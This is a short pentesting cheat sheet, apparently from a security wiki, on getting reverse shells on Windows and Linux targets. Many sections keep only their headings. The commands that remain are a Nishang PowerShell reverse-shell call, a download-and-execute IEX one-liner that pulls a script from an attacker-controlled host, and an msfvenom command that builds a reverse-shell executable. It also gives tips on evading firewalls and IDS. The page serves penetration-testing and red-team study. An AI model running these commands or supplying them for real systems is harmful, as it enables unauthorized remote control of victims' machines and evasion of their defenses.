Reverse Shell 🔙
To gain control over a compromised system, an attacker usually aims to gain interactive shell access for RCE. A reverse shell is a connection back that means that the victim connects to the attacker.
Be careful with Firewalls, use common ports like 80,443 or 445.
Windows
Nishang
Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
Import-Module .\Invoke-PowershellTcp.ps1
Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PORT]Or you can modify the script and append the following line:
Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PORT]
And execute directly from memory:
start /b powershell IEX(New-Object Net.WebClient).downloadString('http://ip-addr:port/Invoke-PowerShellTcp.ps1')Be careful, migrate the process to the same machine architecture!
Binary
With msfvenom we can create a windows tcp reverse shell.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe -o /tmp/rev.exeNetcat
Netcat is a network tool that allows through a command interpreter and with a simple syntax to open TCP / UDP ports in a HOST. It's not native from windows, so you need to trasnfer the binary.
Be careful, migrate the process to the same machine architecture!
Powershell
Also we can get a reverse shell without using any external file.
We can also use msfvenom hta-psh reverse shell.
Powercat
Powercat is the netcat version written in powershell. Remember first download the script and import the module.
Meterpreter
First, we need to create our shellcode with msfvenom:
After transfer our shellcode to the target machine, we will start listening with metasploit at the same port:
When we execute our shellcode we will receive the meterpreter in the handler:
Be careful, migrate the process to the same machine architecture!
Migrating the reverse shell
From Powershell:
If they don't sahre the same architecture, we will need to create a new Revershell with the appropiate Powershell path:
For 32 bits:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
For 64 bits:
C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe
From Meterpreter:
First we need to list all processes:
Afther getting the list of all the processs going on we can migrate ourselves to some reliable process:
Linux
There are many ways to get a reverse shell in many differents languages and using many differents binaries.
Bash
Perl
Python
PHP
Ruby
Netcat
Socat
SSL Socat
Using cryptography helps to evade some types of IDS. First we need to create the certificates in out attacking machine.
After that on the target machine run socat with OPENSSL:
Improve the rev shell to TTY
Run to background with Ctrl + Z
References:
Last updated
Was this helpful?